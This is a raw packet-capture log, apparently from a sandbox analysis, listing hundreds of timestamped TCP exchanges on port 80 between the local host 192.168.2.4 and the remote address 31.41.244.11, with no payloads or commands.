Nov 23, 2024 03:21:14.868211985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.868305922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.868335009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.868386984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.869343042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.869398117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.869437933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.869477987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.870467901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.870542049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.870599031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.870645046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.871629953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.871678114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.871715069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.871753931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.872790098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.872832060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.872921944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.872965097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.873898983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.873955965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.874037981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.874080896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.875008106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.875053883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.875108004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.875150919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.876140118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.876183987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.876210928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.876254082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.877280951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.877326012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.877374887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.877423048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.878433943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.878478050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.878606081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.878648996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.879556894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.879600048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.879636049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.879678011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.880739927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.880783081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.880863905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.880906105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.881833076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.881875992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.881939888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.881990910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.882980108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.883023024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.883079052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.883166075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.884110928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.884150028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.884227991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.884273052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.885242939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.885286093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.885327101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.885361910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.886408091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.886451960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.886564016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.886617899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.887572050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.887620926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.887655020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.887742043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.888680935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.888724089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.888784885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.888859987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.889806032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.889911890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.889947891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.889995098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.890944004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.890985966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.891108990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.891150951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.892086029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.892128944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.892184973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.892225981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.893220901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.893264055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.893337011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.893378973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.894491911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.894593000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.894632101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.894671917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.895498037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.895541906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.895601988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.895653963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.896646976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.896689892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.896791935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.896842957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.897835970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.897891045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.897905111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.897945881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.898922920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.898973942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.899014950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.899048090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.900051117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.900110006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.900168896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.900216103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.901191950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.901235104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.901292086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.901339054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.902334929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.902378082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.902441978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.902529955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.903481007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.903529882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.903583050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.903630018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.904607058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.904652119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.904712915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.904755116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.905760050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.905833960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.905862093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.905910969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.906882048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.907027006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.907090902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.907133102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.908030987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.908144951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.908184052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.909164906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.909285069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.909306049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.909318924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.910295963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.910379887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.910398960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.910438061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.911381006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.911453962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.053016901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.053083897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.053100109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.053136110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.053524971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.053633928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.053704977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.054658890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.054707050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.054743052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.054789066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.055804014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.055850983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.055934906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.055986881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.056941986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.057008982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.057082891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.057123899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.058073044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.058114052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.058171034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.058233023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.059206009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.059254885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.059298992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.059384108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.060347080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.060419083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.060455084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.060492992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.061494112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.061544895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.061585903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.061685085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.062621117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.062665939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.062732935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.062773943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.063894987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.063956976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.063988924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.064037085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.064925909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.064985037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.065021038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.065203905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.066042900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.066133976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.066154003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.066195965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.067173004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.067219973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.067311049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.067365885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.068320990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.068371058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.068428993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.068475008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.069458008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.069499969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.069557905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.069601059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.070620060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.070663929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.070723057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.070769072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.071732998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.071847916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.071856976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.072002888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.072865009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.072911978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.072973013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.073014975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.074028969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.074071884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.074109077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.074176073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.075167894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.075210094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.075268984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.075310946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.076292992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.076339960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.076371908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.076508045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.077439070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.077527046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.077533007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.077570915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.078567982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.078640938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.078676939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.078722954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.079710007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.079762936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.079833031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.079880953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.080835104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.080887079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.080940008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.081037998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.082000017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.082051992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.082093954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.082163095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.083112001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.083163023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.083199024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.083281994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.084264994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.084315062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.084374905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.084428072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.085417986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.085469961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.085530043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.085566998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.086543083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.086596966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.086646080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.086724997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.087672949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.087724924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.087775946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.087833881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.088805914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.088852882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.088907003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.088948965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.089941978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.089994907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.090060949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.090147018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.091114044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.091161966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.091223001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.091270924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.092250109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.092303038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.092341900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.092381954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.093384981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.093422890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.093477964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.093516111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.094532013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.094583988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.094615936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.094657898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.095635891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.095710993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.095742941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.095786095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.096787930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.096843004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.096879005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.096968889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.097929955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.097981930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.098041058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.098086119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.099064112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.099107027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.099142075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.099371910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.100193977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.100306988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.100332022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.100344896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.101315975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.101361036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.101449013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.101494074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.102483988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.102530003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.102576971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.102643967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.103611946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.103660107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.103720903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.103775024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.104753971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.104801893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.104871988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.104984999 CET	49760	80	192.168.2.4	31.41.244.11
